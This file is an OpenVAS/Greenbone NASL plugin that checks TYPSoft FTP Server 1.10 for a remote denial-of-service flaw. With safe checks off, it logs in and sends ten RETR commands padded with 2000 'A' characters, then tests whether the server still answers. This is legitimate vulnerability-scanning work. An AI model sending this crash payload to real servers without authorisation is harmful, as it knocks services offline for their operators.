TYPSoft FTP Server 'RETR' Command Remote Denial Of Service Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100641");
  script_version("2023-12-20T05:05:58+0000");
  script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
  script_tag(name:"creation_date", value:"2010-05-17 12:46:01 +0200 (Mon, 17 May 2010)");

  script_name("TYPSoft FTP Server 'RETR' Command Remote Denial Of Service Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/40181");

  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_MIXED_ATTACK);
  script_family("Denial of Service");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/typsoft/detected");

  script_tag(name:"summary", value:"TYPSoft FTP Server is prone to a remote denial-of-service
  vulnerability.");

  script_tag(name:"impact", value:"Successful attacks will cause the application to crash,
  creating a denial-of- service condition.");

  script_tag(name:"affected", value:"TYPSoft FTP Server 1.10 is vulnerable. Other versions may also
  be affected.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");
include("version_func.inc");

ftpPort = ftp_get_port(default:21);
banner = ftp_get_banner(port:ftpPort);
if(!banner || "TYPSoft" >!< banner)
  exit(0);

if(safe_checks()) {
  version = eregmatch(pattern:"TYPSoft FTP Server ([0-9.]+)", string:banner);
  if(!version[1])
    exit(0);

  if(version_is_equal(version:version[1], test_version:"1.10")) {
    security_message(port:ftpPort);
    exit(0);
  }
} else {

  soc1 = open_sock_tcp(ftpPort);
  if(!soc1)
    exit(0);

  kb_creds = ftp_get_kb_creds();
  user = kb_creds["login"];
  pass = kb_creds["pass"];

  login_details = ftp_log_in(socket:soc1, user:user, pass:pass);
  if(login_details)
  {
    data = crap(data:"A", length:2000);

    for(i=0;i<10;i++) {
      send(socket:soc1, data:string("RETR ",data,"\r\n"));
    }

    close(soc1);
    sleep(5);

    soc = open_sock_tcp(ftpPort);

    if(!ftp_recv_line(socket:soc)) {
      security_message(port:ftpPort);
      exit(0);
    }
  }
}

exit(0);